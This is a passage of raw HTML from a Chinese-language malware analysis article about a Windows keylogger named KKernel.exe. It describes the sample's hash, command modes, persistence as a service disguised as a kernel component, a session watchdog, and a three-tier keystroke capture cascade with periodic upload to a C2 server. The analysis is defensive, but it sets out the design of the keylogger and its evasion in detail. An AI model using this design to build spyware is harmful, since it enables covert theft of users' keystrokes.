0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="238" width="238" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="315" width="315" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">304F2CA41006333650C80DC82EE3CA88</span></span></p></td></tr><tr><td data-colwidth="238" width="238" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">文件名</span></span></p></td><td data-colwidth="315" width="315" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">KKernel.exe</span></span></p></td></tr><tr><td data-colwidth="238" width="238" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="315" width="315" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">363.00 KB</span></span></p></td></tr><tr><td data-colwidth="238" width="238" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">文件类型</span></span><o:page></o:page></p></td><td data-colwidth="315" width="315" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">Win64 EXE</span></span></p></td></tr></tbody></table><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">该样本支持5种运行模式。</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;width: 100%;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">命令</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">功能</span></span></p></td></tr><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">--agent</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">用户会话代理模式：启动键盘记录三级级联 + 持久化</span></span></p></td></tr><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">--install</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">安装为 Windows 服务 KKernelService（开机自启）</span></span></p></td></tr><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">--uninstall</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">卸载 Windows 服务</span></span></p></td></tr><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">--start</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">手动启动已安装的服务</span></span></p></td></tr><tr><td data-colwidth="84" width="84" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">无参数</span></span></p></td><td data-colwidth="473" width="473" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="">作为服务运行</span></span></p></td></tr></tbody></table><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">样本首先使用—install模式，将当前进程模块注册为系统服务 &#34;KKernelService&#34;（显示名 &#34;Kernel32 Service&#34;），实现开机自启。服务注册后每次系统启动都会自动运行该恶意软件。伪装名 &#34;KKernelService&#34;/&#34;Kernel32 Service&#34; 试图冒充 Windows 内核组件以逃避用户注意。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;margin-bottom: 10.0pt;line-height: 150%;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7203166226912929" data-w="758" style="width:553.739990234375px;height:398.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f67da01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJlVwRNHG0qYsbWfibhY36hAyqHxWd8P7icwXSKvribnDC9lm4bwZxNJ5ia51sIxeicRpkqHBb6M1iaicptWCsm36YlUdfiboMm0NicnsBw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 2 注册为服务</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">在注册服务后，样本实现了Session 0逃逸看门狗功能，负责在用户交互会话中启动并持续监控一个Agent进程。服务通过获取活动用户会话的令牌，以用户权限在目标会话中启动代理进程，并通过循环监控其状态。若代理进程意外终止，看门狗将自动重启该进程，确保其持续运行。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6618464961067854" data-w="899" style="width:553.739990234375px;height:366.4700012207031px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b7ae323&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL21ORdYeKwWW4Yew56WGpiad0xZicz46Hp6c6zmiaCX3ZbH4IovMYd9zvw2yTzibeBf57ib2CQmbaYyicd3jRuibKgaMmOJBGSG2pB1g%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6598493003229279" data-w="929" style="width:553.739990234375px;height:365.4100341796875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=90ec5d31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKKUszUn29PGsSoounNroMXiaYOSG7nibWscfrf3yOIcsgZcGWjkYGQSBBibpDYyW5WW4Y6zzgAeBjaTIW8KAyWZVicEnMCnXyf9LQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 3 看门狗功能</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">Agent进程主要实现了键盘监控功能，并创建了名为&#34;Global\\KKernelAgentSingleton&#34;的互斥体。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;text-indent: 21.0pt;mso-pagination: widow-orphan;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5819444444444445" data-w="720" style="width:553.739990234375px;height:322.2699890136719px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a6d59d09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLtfte5uofJ1lQxPrIYibpZbjcG33bMQjKHibAwlwxetQICZ2KSLYEFKV3nUuaicz6TLkicibKJ9BpgezmgmVrouBPfDb8jv0fwIvYg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 4 Agent进程功能</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">Agent 进程启动后，实现键盘记录相关API动态解析。随后使用三种方式进行键盘监控。</span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: left;mso-pagination: widow-orphan;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6593264248704663" data-w="772" style="width:553.739990234375px;height:365.07000732421875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=19bf84f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIs2uBpYyuRHCu6fRIewNCe8OLgBVDkXM2HeoZcdaLhtjNiaQjNichgPCDMNabRgNGgY5p5IrQr17EgBWoKFLLAIRGnuicsM76L68%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 5 API动态解析</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">方式1基于原始输入（Raw Input）方式捕获按键。该函数创建一个隐藏窗口并注册原始输入设备，通过系统底层接口直接获取键盘输入。在消息循环中，它持续记录按键内容并按句子粒度写入日志文件，同时跟踪前台窗口标题以标注输入所属的应用程序。若因权限不足等原因导致原始输入注册失败，该函数会自动回退至下一级 Windows 消息钩子方案继续执行，确保键盘记录不被中断。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.42403628117913833" data-w="882" style="width:553.739990234375px;height:234.80001831054688px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a1899632&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ8nzLEPvdjI8hd2wO0Fgc4BA7Gr2N0rjq8lb3ZNsnRUmcTb0DwzvXttE5JBYPRQ6Q9icsK3Rt7cAOgoxNzKzAgYM2YjDA4Y25k%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5605670103092784" data-w="776" style="width:553.739990234375px;height:310.4000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d27469d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK3oKia7Zrj7JjCLU6Sp22g3KSqD1vtZqibvAl0icRicQlbFohHUVI0M4HBQ5wdicaawXwWRVyj9AvLkYS4Q4XwjyZEnvacdicYm4Mibs%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 6 通过原始输入方式捕获按键</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">方式2通过安装全局低级键盘钩子来捕获按键，该方式在消息循环中持续接收键盘事件，将按键内容按句子粒度缓存，并设置约 2 秒的超时阈值——若超时未继续输入，则将当前句子连同前台窗口信息一并写入日志文件。若钩子注册失败，函数返回失败标志，自动切换至第三种方案。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.45738295318127253" data-w="833" style="width:553.739990234375px;height:253.27000427246094px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6cef67f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI5YHgt0OVM1TJhGn3U8zJcPJJ1eKedB16Jb6GAlQzibAholDRE3x5BGId5sicianFaObq2rmP3q45ufrtiaYcpBoESg0yrscNcwfQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5792610250297974" data-w="839" style="width:553.739990234375px;height:320.739990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7fa0d045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXINIViccmZEhFOFVicV4fXBElic9PLvaEDIxkjTs0xF1atUeFo7JZXPvso8G2X0q8gBrSwg0Ha786QBAtSj3AiaqfWw3J1HN2zg4Pc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 7 通过键盘钩子捕获按键</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">方式3键盘记录三级级联中的最终兜底方案，使用异步轮询方式以约 10 毫秒间隔轮询全部 256 个虚拟键状态来捕获按键。同步监控前台窗口标题和进程名变化，将按键内容按句子粒度缓存，并在约 500 毫秒无输入超时后自动写入日志文件。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5964912280701754" data-w="855" style="width:553.739990234375px;height:330.2699890136719px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe60369d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJKV8eB5VwvSRm2pavWtC7x7WTkxDpucK40jnxr7ogQGcuk3OcrXsddSsfmsyrGwfPmHkl1tQg3osM2NCN9kOTBlGoIu35UYf8%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 8 通过异步轮询方式捕获按键</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">其中，按键监控及调试日志均存放于C:\ProgramData\Windows\WMI\Temp\目录，分别是sentences.txt和debug.log文件。</span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">前两种方式设置了新的线程以约 30 秒为周期运行。每个周期中，它依次读取 sentences.txt（键盘监控日志）和 debug.log（调试日志）两个文件，将新增内容按行批量拼接后，发送至 C2 服务器，并在传输成功后截断对应文件以释放磁盘空间。</span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span 